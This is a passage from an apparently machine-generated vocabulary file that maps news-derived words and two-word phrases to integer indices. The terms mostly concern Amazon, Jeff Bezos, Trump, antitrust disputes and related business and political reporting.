read": 133476, "induct": 133477, "mullins": 133478, "amazon maintains": 133479, "political operatives": 133480, "meet statement": 133481, "national privacy": 133482, "fixer michael": 133483, "enquirer catch": 133484, "elena schneider": 133485, "senate select": 133486, "virginia checks": 133487, "market practices": 133488, "waiter": 133489, "denied claims": 133490, "compromising photographs": 133491, "thing avoid": 133492, "management pays": 133493, "press liberals": 133494, "health better": 133495, "advanced photo": 133496, "today batch": 133497, "apparently reliable": 133498, "fasting": 133499, "senior house": 133500, "grader cried": 133501, "windmills": 133502, "gov cuomo": 133503, "new memoir": 133504, "new davis": 133505, "upstream": 133506, "ecpect": 133507, "competitor unsurprisingly": 133508, "sumpah": 133509, "requesting set": 133510, "planning council": 133511, "parlophone": 133512, "paying remote": 133513, "seriously trump": 133514, "priced package": 133515, "district touts": 133516, "gift ideas": 133517, "support families": 133518, "wages amazon": 133519, "high schoolers": 133520, "dangerous liaisons": 133521, "lived decision": 133522, "aldi kohl": 133523, "770": 133524, "association annual": 133525, "inmate lethal": 133526, "citing multiple": 133527, "settlement amazon": 133528, "downtown pittsburgh": 133529, "superior cloud": 133530, "activity numbers": 133531, "heart security": 133532, "giant neared": 133533, "officials": 133534, "hold exclusive": 133535, "opening date": 133536, "received response": 133537, "li": 133538, "facebook owns": 133539, "sends minimum": 133540, "signals brisk": 133541, "skyhorse": 133542, "favorite labor": 133543, "tech firm": 133544, "shauna": 133545, "fafillion": 133546, "plow": 133547, "morgue units": 133548, "increase package": 133549, "determined essential": 133550, "increased competition": 133551, "tax legislation": 133552, "differences": 133553, "reporter ina": 133554, "include tax": 133555, "thing leads": 133556, "brad parscale": 133557, "district having": 133558, "patients fee": 133559, "center field": 133560, "apple claims": 133561, "enquirer says": 133562, "17532188 amazon": 133563, "anna michal": 133564, "extracted": 133565, "complaint related": 133566, "caesar": 133567, "costliest": 133568, "donkeys group": 133569, "2006 alleging": 133570, "parcel services": 133571, "leaping": 133572, "week sen": 133573, "web businesses": 133574, "sa ta": 133575, "invoke": 133576, "remains": 133577, "ia": 133578, "just quick": 133579, "cement ceo": 133580, "did 2017": 133581, "opinion provided": 133582, "falsely claiming": 133583, "soon hit": 133584, "craziest things": 133585, "management including": 133586, "deadliest place": 133587, "offers fast": 133588, "customer needs": 133589, "initially told": 133590, "firm according": 133591, "won justify": 133592, "scary elements": 133593, "days iduskbn1k6278": 133594, "cap lc": 133595, "jon bauer": 133596, "parscale president": 133597, "royals": 133598, "700 press": 133599, "preparing decree": 133600, "discover screwdrivers": 133601, "inaccurate fake": 133602, "villain democratic": 133603, "rightful place": 133604, "framing": 133605, "amazon description": 133606, "story republican": 133607, "water whichis": 133608, "thanksgiving week": 133609, "surveillance applications": 133610, "2283a": 133611, "newlyweds amazon": 133612, "taxes using": 133613, "consequent": 133614, "ensuing years": 133615, "gives scientists": 133616, "york gop": 133617, "woman guide": 133618, "richelieu": 133619, "2005 mackenzie": 133620, "ebitda margins": 133621, "publish illicit": 133622, "major shippers": 133623, "fedex delivers": 133624, "department runs": 133625, "new range": 133626, "4dx movie": 133627, "imposter": 133628, "child jeff": 133629, "escaped scrutiny": 133630, "cold chicken": 133631, "smiling sitting": 133632, "holistic long": 133633, "327": 133634, "reforms addressing": 133635, "reconstituted travel": 133636, "highlight safety": 133637, "ibm samsung": 133638, "faced federal": 133639, "reserve job": 133640, "plans say": 133641, "braggadocios": 133642, "zakrzewski technology": 133643, "spokesman hogan": 133644, "article wmur": 133645, "vocal campaign": 133646, "antitrust world": 133647, "npr financial": 133648, "added brennan": 133649, "yemen fm": 133650, "chrome inclusion": 133651, "cdc_36162c8634251ee9931a470a_embed": 133652, "insufficient breaks": 133653, "canadian officials": 133654, "mobile phone": 133655, "emergency exit": 133656, "contingent": 133657, "ads tv": 133658, "128 games": 133659, "order roma": 133660, "bits pichai": 133661, "seen ms": 133662, "02m": 133663, "rating sell": 133664, "worldview mccain": 133665, "130 million": 133666, "assisting ice": 133667, "expanded soy": 133668, "falsehoods": 133669, "cnn fox": 133670, "control google": 133671, "raised public": 133672, "texas homes": 133673, "wedbush": 133674, "cost tony": 133675, "abortionists": 133676, "department gives": 133677, "modest rise": 133678, "advisor curtis": 133679, "explainer": 133680, "orange trump": 133681, "today stories": 133682, "sounding delighted": 133683, "texit": 133684, "cars": 133685, "young twin": 133686, "critics sought": 133687, "disgusting news": 133688, "dropped new": 133689, "weren worried": 133690, "3m": 133691, "oerter": 133692, "kevin liptak": 133693, "minnesota timberwolves": 133694, "infighting": 133695, "duffel bag": 133696, "bezos market": 133697, "washington don": 133698, "emissions cuts": 133699, "organic bamboo": 133700, "building collapse": 133701, "puzder puzder": 133702, "beijing early": 133703, "criticize incentives": 133704, "receive stiff": 133705, "having fired": 133706, "app hulu": 133707, "official newspaper": 133708, "deprived": 133709, "thailand ap": 133710, "certain servers": 133711, "conceded": 133712, "commerce market": 133713, "telemedicine": 133714, "story mortgage": 133715, "work iot": 133716, "carlson told": 133717, "domestic product": 133718, "explained little": 133719, "denuclearization john": 133720, "currently hunting": 133721, "poor business": 133722, "saying hope": 133723, "semitic according": 133724, "polling meaning": 133725, "hazard": 133726, "reasonable likelihood": 133727, "gimmick": 133728, "secretary jim": 133729, "media platforms": 133730, "stores biometric": 133731, "institute ehudgins": 133732, "speed internet": 133733, "food creation": 133734, "says stock": 133735, "treatment patients": 133736, "engine google": 133737, "research ranked": 133738, "service bankrupt": 133739, "aroma": 133740, "day hands": 133741, "southern brazil": 133742, "nevada dynasty": 133743, "painted scamazon": 133744, "help generate": 133745, "sen sanders": 133746, "trump apparently": 133747, "genuinely": 133748, "times russia": 133749, "reason": 133750, "strongest level": 133751, "graham ocala": 133752, "conventional hacking": 133753, "clearance won": 133754, "wade annette": 133755, "exploring natural": 133756, "waste fraud": 133757, "view results": 133758, "increasingly angry": 133759, "devote": 133760, "vote new": 133761, "nu2bvlegd1 pic": 133762, "coaching training": 133763, "respond immediately": 133764, "experienced violence": 133765, "austrian retailers": 133766, "cuttino katie": 133767, "mccain grimly": 133768, "following options": 133769, "tax 2019": 133770, "service refused": 133771, "ubiquitous fulfillment": 133772, "need representation": 133773, "governance product": 133774, "political office": 133775, "mothership": 133776, "headlinetext ros\u00e9": 133777, "corker draws": 133778, "supporters vowed": 133779, "having little": 133780, "merino": 133781, "technology services": 133782, "year base": 133783, "shipping example": 133784, "corporatism": 133785, "petty personal": 133786, "criticized donald": 133787, "fedex continue": 133788, "deceleration": 133789, "using voice": 133790, "foolishness": 133791, "giants sen": 133792, "budding relationship": 133793, "canada trade": 133794, "citi cnbc": 133795, "selective": 133796, "prime users": 133797, "disclosure forms": 133798, "suspect tax": 133799, "ken described": 133800, "strange control": 133801, "oracle founder": 133802, "identification numbers": 133803, "stocks extending": 133804, "mhz": 133805, "argentine economy": 133806, "rfp": 133807, "significant increases": 133808, "paying trump": 133809, "saudi governments": 133810, "resolution approving": 133811, "cases trump": 133812, "worrying problem": 133813, "stunt aimed": 133814, "shopkeepers": 133815, "create artwork": 133816, "month federal": 133817, "cnbc details": 133818, "twitter rex": 133819, "excellent headlamp": 133820, "julie carrie": 133821, "shacks": 133822, "usps boeing": 133823, "proactive approach": 133824, "ziektekosten hitting": 133825, "herd": 133826, "release report": 133827, "applicable foreign": 133828, "stop forcing": 133829, "amazons walmarts": 133830, "placate regulators": 133831, "waldemir": 133832, "york gothamist": 133833, "allow profitable": 133834, "witches cheese": 133835, "364 million": 133836, "trump pal": 133837, "steven crowder": 133838, "believe trump": 133839, "0x734 getty_173218731_200015422000928060_388160": 133840, "strawberries": 133841, "eta": 133842, "caitlyn jenner": 133843, "economic outlooks": 133844, "body actor": 133845, "extremist right": 133846, "commissaries": 133847, "embedbutton updatecode": 133848, "new comedy": 133849, "movie stars": 133850, "dangling cable": 133851, "money paid": 133852, "newspaper report": 133853, "retailer scam": 133854, "alben": 133855, "events nbc": 133856, "rigado": 133857, "reuters pepsico": 133858, "simple food": 133859, "currently ranked": 133860, "prince muhammad": 133861, "share 33c": 133862, "2019 espinal": 133863, "state receives": 133864, "counterfeit check": 133865, "330 words": 133866, "george hanbury": 133867, "building staffing": 133868, "area spent": 133869, "basketball association": 133870, "company willingness": 133871, "include accusing": 133872, "ingredients": 133873, "guarantees": 133874, "lunchor": 133875, "entertainment unit": 133876, "florida house": 133877, "street think": 133878, "story oaktrees": 133879, "problems cope": 133880, "early trading": 133881, "totally misses": 133882, "team jussie": 133883, "men": 133884, "charges racism": 133885, "high discounting": 133886, "alleges child": 133887, "migrants coming": 133888, "antitrust worries": 133889, "security emails": 133890, "products trump": 133891, "die map": 133892, "french magnate": 133893, "sticker": 133894, "24x7 trump": 133895, "aliso viejo": 133896, "cop shows": 133897, "british royals": 133898, "allegedly look": 133899, "accurate way": 133900, "cloud computer": 133901, "dispatched troops": 133902, "protest bolsonaro": 133903, "strapped city": 133904, "tax foundation": 133905, "earned reputation": 133906, "technological": 133907, "sorting packages": 133908, "champion": 133909, "motorbike": 133910, "brand used": 133911, "prize eligible": 133912, "qvc west": 133913, "run government": 133914, "minorities": 133915, "producer blossom": 133916, "raucous laugh": 133917, "transit funds": 133918, "cortez position": 133919, "ranging probe": 133920, "held 055": 133921, "magnifying": 133922, "currently stands": 133923, "long ways": 133924, "administration ordered": 133925, "house click": 133926, "tear": 133927, "staggering": 133928, "gulf coast": 133929, "rains": 133930, "waze": 133931, "sledgehammer": 133932, "incentives think": 133933, "called national": 133934, "honoring reverend": 133935, "institute epi": 133936, "best defense": 133937, "1vj1jfquyc emma": 133938, "explicit opposition": 133939, "blew past": 133940, "helped pass": 133941, "costa": 133942, "common occurrence": 133943, "huge deal": 133944, "\u014277": 133945, "flawed witness": 133946, "g1": 133947, "sourced tales": 133948, "appeals court": 133949, "paper policy": 133950, "abolish": 133951, "brian krzanich": 133952, "government regardless": 133953, "developer based": 133954, "news yeah": 133955, "npr foraging": 133956, "infrastructure threat": 133957, "queens midtown": 133958, "street right": 133959, "legislatures approving": 133960, "francisco lighthouse": 133961, "local time": 133962, "hotel confirmation": 133963, "surely related": 133964, "warehouses reporte": 133965, "chain closed": 133966, "business council": 133967, "universities banned": 133968, "sloss live": 133969, "walmart alphabet": 133970, "mitchell notes": 133971, "headlined don": 133972, "tasks ap": 133973, "future collaborations": 133974, "alphabet cfo": 133975, "losses equipment": 133976, "macquarie gp": 133977, "products consumers": 133978, "reuters north": 133979, "theory falsely": 133980, "proposed plan": 133981, "341": 133982, "sarcasm": 133983, "important societal": 133984, "risking": 133985, "news foundation": 133986, "ruler mohammed": 133987, "american college": 133988, "partner programs": 133989, "brad pitt": 133990, "avoid breaking": 133991, "einstein": 133992, "investment bank": 133993, "lois weber": 133994, "including messenger": 133995, "revolutionary": 133996, "office issue": 133997, "juggle multiple": 133998, "means necessary": 133999, "reportedly secretly": 134000, "economy mark": 134001, "bigoted sexist": 134002, "james kennedy": 134003, "flom": 134004, "denis slattery": 134005, "commondreams org": 134006, "income renters": 134007, "chestnut": 134008, "include business": 134009, "bezos technology": 134010, "carriers pre": 134011, "morning consult": 134012, "rise water": 134013, "old pals": 134014, "draw play": 134015, "customer faster": 134016, "israel true": 134017, "economic narrative": 134018, "strong job": 134019, "simply unfit": 134020, "pouty ms": 134021, "global burden": 134022, "old saudi": 134023, "speech announcing": 134024, "reserve vice": 134025, "judicial department": 134026, "nominated kavanaugh": 134027, "zillow": 134028, "president wife": 134029, "resident think": 134030, "months ending": 134031, "undertake synchronous": 134032, "tijkwtcqoo": 134033, "davivd": 134034, "days interestingly": 134035, "outpatient clinics": 134036, "diishan imira": 134037, "bring scrutinized": 134038, "ruth papazian": 134039, "disclosures offer": 134040, "games series": 134041, "antitrust probe": 134042, "items firm": 134043, "onweb": 134044, "expensing provisions": 134045, "old murdoch": 134046, "largest increases": 134047, "equipment manufacturing": 134048, "pruitt harper": 134049, "love letters": 134050, "winning coverage": 134051, "minimum investment": 134052, "chair featuring": 134053, "massive complex": 134054, "conception": 134055, "cases virginia": 134056, "extortion": 134057, "regulatory obligations": 134058, "constantly looking": 134059, "clearly driven": 134060, "philippe huguen": 134061, "bergh": 134062, "bxp wxzv": 134063, "hothouse": 134064, "wqam": 134065, "celebrity home": 134066, "seasoned authors": 134067, "gop criticism": 134068, "rising premiums": 134069, "expressing strong": 134070, "latest season": 134071, "couple met": 134072, "emerson": 134073, "remain unaware": 134074, "shirts walmart": 134075, "doing fedex": 134076, "little love": 134077, "collect sales": 134078, "scandal implicating": 134079, "cut fourth": 134080, "famously predicted": 134081, "planning new": 134082, "ire described": 134083, "remarried": 134084, "putin caps": 134085, "campaign technically": 134086, "grad blacklisted": 134087, "consumer ultimately": 134088, "extraordinary demand": 134089, "products cuts": 134090, "unclassified information": 134091, "vacuum": 134092, "walt disney": 134093, "texts apparently": 134094, "cnn reuters": 134095, "propagandists won": 134096, "acker bloomberg": 134097, "management dmcc": 134098, "covered 409": 134099, "x8 v5": 134100, "competitor looking": 134101, "gothic novel": 134102, "rainforest conama": 134103, "know called": 134104, "autistic son": 134105, "coxsackie": 134106, "foods american": 134107, "coordination": 134108, "tacoma": 134109, "starring role": 134110, "management controls": 134111, "intrigue certainly": 134112, "chip purchases": 134113, "general william": 134114, "antitrust khan": 134115, "impinj ceo": 134116, "totalling": 134117, "known extortion": 134118, "terrorizes": 134119, "contacted alfresco": 134120, "operations additionally": 134121, "david shepardson": 134122, "postponed indefinitely": 134123, "pageant": 134124, "administration ties": 134125, "american cinema": 134126, "bezos good": 134127, "figure appears": 134128, "administration improperly": 134129, "lead story": 134130, "considering robo": 134131, "liberty endangered": 134132, "abramowitz pecker": 134133, "business reasons": 134134, "ole": 134135, "railroad monopolies": 134136, "platform millions": 134137, "trump contends": 134138, "reading holding": 134139, "romanov link": 134140, "green eal": 134141, "images howard": 134142, "airbnb netflix": 134143, "digital consultancy": 134144, "nasdaq dltr": 134145, "lamagna 415": 134146, "cloud unit": 134147, "goodness sake": 134148, "tonight andrew": 134149, "hat reads": 134150, "play express": 134151, "ms suzanne": 134152, "peter welch": 134153, "automated features": 134154, "tourism": 134155, "round table": 134156, "previous cuda": 134157, "jeopardizes": 134158, "businesses fight": 134159, "immediate pain": 134160, "amr": 134161, "watches cnn": 134162, "overmediatext sectionuri": 134163, "pot company": 134164, "amazon dsps": 134165, "510bn": 134166, "government prosecution": 134167, "reenacted": 134168, "integrity labelled": 134169, "venhuizen told": 134170, "posthumously added": 134171, "unexpectedly prompted": 134172, "update": 134173, "hard levels": 134174, "constitution gained": 134175, "hits girl": 134176, "aclu analysis": 134177, "investors heading": 134178, "levi strauss": 134179, "jihadists despite": 134180, "commission clean": 134181, "economy looking": 134182, "inefficiency": 134183, "joe talked": 134184, "operational changes": 134185, "basically won": 134186, "possible legislation": 134187, "chinese court": 134188, "financial institutions": 134189, "president ascent": 134190, "crisis forget": 134191, "rich man": 134192, "17802566": 134193, "american countries": 134194, "miller": 134195, "frazier": 134196, "council race": 134197, "familiar": 134198, "amazon books": 134199, "offsetting factors": 134200, "myriad controversies": 134201, "fake news": 134202, "group total": 134203, "763": 134204, "401k": 134205, "stop forced": 134206, "personal vehicles": 134207, "improving intervention": 134208, "staggering sales": 134209, "americans agree": 134210, "dinner shooters": 134211, "various ngos": 134212, "hayes grassley": 134213, "drama written": 134214, "traveling nb": 134215, "foregoing assertions": 134216, "close fedex": 134217, "delivery drivers": 134218, "investment mngmt": 134219, "chocolate icing": 134220, "nightly": 134221, "recently seen": 134222, "politics donald": 134223, "amazon footprint": 134224, "independent budget": 134225, "promised bezos": 134226, "huge heaping": 134227, "storm tropical": 134228, "hollywood filmmaking": 134229, "university web": 134230, "items sold": 134231, "reason given": 134232, "registration trump": 134233, "company analyzed": 134234, "points faster": 134235, "jessica wakefield": 134236, "recently told": 134237, "centerfold": 134238, "business boost": 134239, "rabbit": 134240, "aj bell": 134241, "li kequiang": 134242, "probable targets": 134243, "pit bull": 134244, "issue blumenthal": 134245, "lee pushed": 134246, "trump died": 134247, "contact natasha": 134248, "controversial head": 134249, "pinkfong dino": 134250, "outsize market": 134251, "jovan adepo": 134252, "bezos bafflingly": 134253, "latest thriller": 134254, "packaging handling": 134255, "picture paul": 134256, "conducting thorough": 134257, "collusion complaint": 134258, "922 million": 134259, "trump son": 134260, "affair involves": 134261, "city state": 134262, "ongoing reporting": 134263, "charter zinke": 134264, "passover": 134265, "research service": 134266, "brutal": 134267, "kill process": 134268, "haven fallen": 134269, "imitative": 134270, "tsla according": 134271, "going outside": 134272, "massive data": 134273, "discuss": 134274, "countries vied": 134275, "honor amazon": 134276, "national economies": 134277, "attacking tech": 134278, "amazon appstore": 134279, "bezos sits": 134280, "editorial": 134281, "increments": 134282, "futures just": 134283, "representative declined": 134284, "including extreme": 134285, "heaping doses": 134286, "spooky mood": 134287, "anti worker": 134288, "target thanks": 134289, "rising progressive": 134290, "children mackenzie": 134291, "director": 134292, "extensive tax": 134293, "performing faang": 134294, "blasio somewhat": 134295, "multiple workers": 134296, "trump launched": 134297, "sweeping reforms": 134298, "force scrutinizing": 134299, "jquery gigyashareelement": 134300, "nude selfie": 134301, "girlfriend bezos": 134302, "peterson nathanpeterson": 134303, "director andrew": 134304, "scanned": 134305, "pottsville": 134306, "yes netflix": 134307, "day overseas": 134308, "trumpian fashion": 134309, "build printing": 134310, "affordable place": 134311, "usps worsening": 134312, "share discount": 134313, "specific false": 134314, "amazon elmo": 134315, "expected profit": 134316, "moved higher": 134317, "highways according": 134318, "vielkind": 134319, "popular shopping": 134320, "tax collectors": 134321, "arundhati roy": 134322, "budget rafael": 134323, "trim travel": 134324, "republican efforts": 134325, "nbc vatican": 134326, "reached stores": 134327, "cnn news": 134328, "means young": 134329, "defence infrastructure": 134330, "undersigned": 134331, "google denied": 134332, "schweitzer realized": 134333, "deal loomed": 134334, "drugstores ease": 134335, "51m reports": 134336, "afp walmart": 134337, "ban title": 134338, "irreverent": 134339, "messages trump": 134340, "glassdoor released": 134341, "vietor spokesman": 134342, "high college": 134343, "amazon apparently": 134344, "reports republican": 134345, "jamanxim": 134346, "page amazon": 134347, "earlier reported": 134348, "allegation": 134349, "software elizabeth": 134350, "address saying": 134351, "home teams": 134352, "important work": 134353, "reuters soe": 134354, "amazon dislikes": 134355, "reached amazon": 134356, "vietor": 134357, "shares bb": 134358, "hale county": 134359, "antitrust criticism": 134360, "billionaire joe": 134361, "twitter breakingviews": 134362, "options based": 134363, "vibrant future": 134364, "mccabe breaking": 134365, "laws amazon": 134366, "2019 truly": 134367, "deliver package": 134368, "2019 left": 134369, "2019 index": 134370, "banks start": 134371, "secretly working": 134372, "note jeff": 134373, "sarah rich": 134374, "cloud deal": 134375, "small tasks": 134376, "jojo fletcher": 134377, "unsubtly": 134378, "super rich": 134379, "anticipated significant": 134380, "morning rant": 134381, "paraphrasing post": 134382, "outshine": 134383, "proposed solutions": 134384, "paper exposed": 134385, "office business": 134386, "bryan robertbryan4": 134387, "war amid": 134388, "rating morgan": 134389, "amazon tech": 134390, "beard award": 134391, "supposed explanations": 134392, "albany": 134393, "foreign businesses": 134394, "consultancy produces": 134395, "year competition": 134396, "reality hot": 134397, "reliance retail": 134398, "completely devoid": 134399, "subsequent tweet": 134400, "main players": 134401, "morning urging": 134402, "steve eder": 134403, "pointed satire": 134404, "morwenna": 134405, "times senators": 134406, "rettig noted": 134407, "marginalized ones": 134408, "deal contended": 134409, "included individual": 134410, "ami agreement": 134411, "westward": 134412, "test kitchen": 134413, "include standards": 134414, "customer agrees": 134415, "reckoned": 134416, "catalog": 134417, "major change": 134418, "post lobbying": 134419, "practices shows": 134420, "park library": 134421, "story activists": 134422, "investigation won": 134423, "deze": 134424, "rightfully pointed": 134425, "mov": 134426, "img_tags null": 134427, "year navy": 134428, "mistakes evil": 134429, "camera surveillance": 134430, "rep alexandria": 134431, "good glad": 134432, "patricia arquette": 134433, "cover startup": 134434, "book description": 134435, "billionaires actually": 134436, "perfect harmony": 134437, "peak time": 134438, "ohio michigan": 134439, "suffer consequences": 134440, "viral past": 134441, "want ai": 134442, "unworried": 134443, "underemployed workers": 134444, "optimal format": 134445, "salke caption": 134446, "inappropriate question": 134447, "planet bezos": 134448, "fonda life": 134449, "turkish activity": 134450, "human wealth": 134451, "washington stephen": 134452, "cole paloma": 134453, "tells stores": 134454, "confidence hasn": 134455, "playvideo configobj": 134456, "average price": 134457, "restoration": 134458, "knockoffs selling": 134459, "stock entered": 134460, "evidence holding": 134461, "include facebook": 134462, "ceo roy": 134463, "scribd usefully": 134464, "avg hourly": 134465, "wage service": 134466, "janine": 134467, "siphon away": 134468, "corporate llc": 134469, "twitters dorsey": 134470, "conjures joy": 134471, "alternative proposed": 134472, "second consecutive": 134473, "pruitt abuse": 134474, "unanticipated events": 134475, "digital solutions": 134476, "post ought": 134477, "bundled": 134478, "blockade stopping": 134479, "rogue apps": 134480, "fil delivery": 134481, "mercer ap": 134482, "disclosure nbc": 134483, "hq2 scrapped": 134484, "accounts noting": 134485, "votes mccabe": 134486, "recent success": 134487, "ceo indra": 134488, "governors clear": 134489, "sandberg read": 134490, "sawyer competing": 134491, "month near": 134492, "longer double": 134493, "called foreign": 134494, "cancer remission": 134495, "discount brands": 134496, "congressman tom": 134497, "business contenttype": 134498, "trump calls": 134499, "rogue telecom": 134500, "amplifying": 134501, "agenda pichai": 134502, "amazon sales": 134503, "jonny": 134504, "kristalina": 134505, "accountable just": 134506, "unforeseen": 134507, "itep reported": 134508, "stories later": 134509, "default": 134510, "brown nosing": 134511, "response despite": 134512, "resorts international": 134513, "heavy index": 134514, "political events": 134515, "did strike": 134516, "legends": 134517, "jolley launched": 134518, "stupid investors": 134519, "shia": 134520, "book tells": 134521, "wallington asset": 134522, "media rahm": 134523, "disruptive appealed": 134524, "trump recent": 134525, "colleges handle": 134526, "fdx nyse": 134527, "group initiates": 134528, "hanoi": 134529, "lorna": 134530, "warc": 134531, "potential acquisition": 134532, "unproven dangerous": 134533, "arbor informed": 134534, "year fedex": 134535, "covering jeff": 134536, "told rare": 134537, "city commissioners": 134538, "directed action": 134539, "truly seen": 134540, "queensbridge residents": 134541, "mining barge": 134542, "reframe": 134543, "lady memoir": 134544, "named conservative": 134545, "divisions": 134546, "getting": 134547, "cohen rubio": 134548, "condition 98point6": 134549, "gianna": 134550, "eyewitness": 134551, "wayside": 134552, "tv growing": 134553, "touting": 134554, "crisis artist": 134555, "pichai response": 134556, "josh replogle": 134557, "wanders": 134558, "smarter investor": 134559, "important political": 134560, "php": 134561, "rajello": 134562, "ibd stock": 134563, "sadistic": 134564, "problems stem": 134565, "hq2 facilities": 134566, "housing market": 134567, "splash": 134568, "house think": 134569, "congress controlled": 134570, "official pressed": 134571, "ma c0": 134572, "unhappy": 134573, "1997 ipo": 134574, "write negative": 134575, "dog whistle": 134576, "year period": 134577, "states key": 134578, "unusual overlap": 134579, "bezos arm": 134580, "recently canceled": 134581, "suggesting france": 134582, "je": 134583, "lynch weekly": 134584, "party stinging": 134585, "watchdog imazon": 134586, "writer died": 134587, "appropriate": 134588, "sense vladimir": 134589, "trump abducts": 134590, "altria": 134591, "deal helped": 134592, "lawsuits experts": 134593, "riot": 134594, "mycolleagues": 134595, "boundary": 134596, "connecticut senator": 134597, "president gloating": 134598, "maria date": 134599, "performing lurid": 134600, "redstone battle": 134601, "2018 roughly": 134602, "pepsi jpmorgan": 134603, "turn blind": 134604, "steal roughly": 134605, "venturebeat cities": 134606, "brings home": 134607, "selfies bezos": 134608, "offer classes": 134609, "canceled netflix": 134610, "girl posted": 134611, "increased minimum": 134612, "mem 138": 134613, "position according": 134614, "forward earnings": 134615, "weary": 134616, "florida playbook": 134617, "matter page": 134618, "cheeks": 134619, "schedule similar": 134620, "2021 early": 134621, "portraying amazon": 134622, "eccentric": 134623, "ami representatives": 134624, "astonishing revelations": 134625, "followers falsely": 134626, "new passion": 134627, "care company": 134628, "returning series": 134629, "months arguing": 134630, "teaching assistants": 134631, "service provider": 134632, "precede": 134633, "collects sales": 134634, "suggestive cigar": 134635, "displaying": 134636, "provides billion": 134637, "lefty locals": 134638, "stuff lou": 134639, "791 502": 134640, "nasdaq swir": 134641, "success mccain": 134642, "pulling margaret": 134643, "ins today": 134644, "suspend joint": 134645, "monstrosity": 134646, "doj actions": 134647, "roy blunt": 134648, "loves": 134649, "weed boom": 134650, "10k reimbursed": 134651, "books chicken": 134652, "following suit": 134653, "inbox": 134654, "chase growth": 134655, "affecting american": 134656, "causing fractures": 134657, "cracked amazon": 134658, "party queen": 134659, "a19 story": 134660, "curses": 134661, "york congresswoman": 134662, "feel freer": 134663, "oliver joked": 134664, "afternoon news": 134665, "signatories included": 134666, "bezos released": 134667, "enquirer sensitive": 134668, "___ stocks": 134669, "emergency sign": 134670, "traditional job": 134671, "corp fdx": 134672, "mngmt owns": 134673, "18th century": 134674, "stahl including": 134675, "index stood": 134676, "trump push": 134677, "israel elimination": 134678, "hbo camping": 134679, "claiming favoritism": 134680, "nah": 134681, "counterpart says": 134682, "income opportunity": 134683, "cuts trade": 134684, "media__image videoid": 134685, "bezos claimed": 134686, "record left": 134687, "mark patrick": 134688, "adviser talks": 134689, "pull maneuver": 134690, "facebook influenced": 134691, "queens shares": 134692, "videocardcontents": 134693, "doing republicans": 134694, "lax regulation": 134695, "government owns": 134696, "home instructions": 134697, "unexpectedly sharp": 134698, "howthe": 134699, "rock god": 134700, "overall stock": 134701, "mayor jason": 134702, "border ranchers": 134703, "federal groups": 134704, "campaign rhetoric": 134705, "slightly smaller": 134706, "200 28m": 134707, "dick picks": 134708, "handbag": 134709, "penalties wrong": 134710, "youtube creative": 134711, "aides pointed": 134712, "play host": 134713, "program signals": 134714, "multinational corporations": 134715, "rug": 134716, "read donald": 134717, "tin": 134718, "total eia": 134719, "attacked google": 134720, "consumer grade": 134721, "statement claims": 134722, "sybt parent": 134723, "counterfeit supply": 134724, "perilous situations": 134725, "cook family": 134726, "rates proponents": 134727, "declining postal": 134728, "free passes": 134729, "domestic partners": 134730, "criminal prosecution": 134731, "old family": 134732, "texture bizarre": 134733, "seacrest": 134734, "easily slide": 134735, "later manage": 134736, "kevin braney": 134737, "elena ferrante": 134738, "community bankers": 134739, "making choice": 134740, "politically inspired": 134741, "stories amazon": 134742, "transports parcels": 134743, "sections barnes": 134744, "smoking cessation": 134745, "ocean freight": 134746, "banquet": 134747, "story disservice": 134748, "dowd": 134749, "amazon cut": 134750, "pentagon activity": 134751, "running nonstop": 134752, "funded progressive": 134753, "byline john": 134754, "andrews kurth": 134755, "suspends weapons": 134756, "ideologue": 134757, "politics changing": 134758, "greek filmmaker": 134759, "worklife balance": 134760, "facing future": 134761, "paint house": 134762, "browser": 134763, "providing dangerous": 134764, "strong value": 134765, "erodes democracy": 134766, "rights act": 134767, "games lennon": 134768, "pop killer": 134769, "___ ge": 134770, "department attention": 134771, "acquisitions fringe": 134772, "improvement hq2": 134773, "aggressive growth": 134774, "falling today": 134775, "media obsession": 134776, "government budgets": 134777, "barre pa": 134778, "steidler": 134779, "working circumstances": 134780, "just high": 134781, "fellow princeton": 134782, "reporting sales": 134783, "divorce finalized": 134784, "left money": 134785, "bribing businesses": 134786, "unch": 134787, "changed shopping": 134788, "amazon spokesperson": 134789, "current relevance": 134790, "customers think": 134791, "date confession": 134792, "bourbon": 134793, "potential cannibalization": 134794, "infrastructure service": 134795, "remain including": 134796, "cost trump": 134797, "tool including": 134798, "marketing strategies": 134799, "owl element": 134800, "refusing cash": 134801, "acclaimed directors": 134802, "finances 2018": 134803, "amazon biggest": 134804, "vrtx": 134805, "home mini": 134806, "jet propulsion": 134807, "sympathisers white": 134808, "words just": 134809, "mastercard ajaypal": 134810, "2035": 134811, "media frenzy": 134812, "smaller regional": 134813, "historic accident": 134814, "twitter conspiracy": 134815, "hq2 outside": 134816, "change london": 134817, "court jester": 134818, "cboe": 134819, "jesse hamilton": 134820, "a4ee x8": 134821, "making strong": 134822, "real bezos": 134823, "1972 woodward": 134824, "year vf": 134825, "abuse scandal": 134826, "lease van": 134827, "commission regulations": 134828, "setback nvidia": 134829, "popping 157": 134830, "quantity idiq": 134831, "won": 134832, "pre schools": 134833, "spreading mysteriously": 134834, "migration": 134835, "cnbc white": 134836, "plante": 134837, "panel brit": 134838, "whatsapp bloomberg": 134839, "trump traitor": 134840, "tariff trump": 134841, "resigns": 134842, "larger target": 134843, "andrea rodriguez": 134844, "lowlife": 134845, "303 million": 134846, "coordinated catch": 134847, "gm spokesman": 134848, "military accompanying": 134849, "shawn mendes": 134850, "churchill": 134851, "poli cyber": 134852, "collaborative iterative": 134853, "gaetz remarks": 134854, "clients unless": 134855, "amazon nationwide": 134856, "sharpton clapped": 134857, "nuclear option": 134858, "trillion dwarfing": 134859, "supposedly nefarious": 134860, "21bn deal": 134861, "extension especially": 134862, "smaller company": 134863, "restaurant montreal": 134864, "sciences corp": 134865, "comcast posed": 134866, "chemotherapy fluoride": 134867, "drones outfitted": 134868, "deliberating": 134869, "source solutions": 134870, "actually mobilized": 134871, "separate": 134872, "writing firm": 134873, "rescued following": 134874, "credit saying": 134875, "sec hbk": 134876, "britain braced": 134877, "merely pawn": 134878, "chester va": 134879, "money adsbygoogle": 134880, "sessions points": 134881, "marijuana stocks": 134882, "computing deal": 134883, "flipped": 134884, "antitrust panel": 134885, "cash totalling": 134886, "wp reported": 134887, "successful tax": 134888, "mars amazon": 134889, "previous administration": 134890, "dreamer hiromi": 134891, "forest": 134892, "law judge": 134893, "unions": 134894, "rupkey": 134895, "bezos victory": 134896, "record million": 134897, "blair": 134898, "predicts amazon": 134899, "carolina city": 134900, "trade tensions": 134901, "small based": 134902, "leading analyst": 134903, "technology detect": 134904, "100 clean": 134905, "plea": 134906, "hardly proves": 134907, "named amazon": 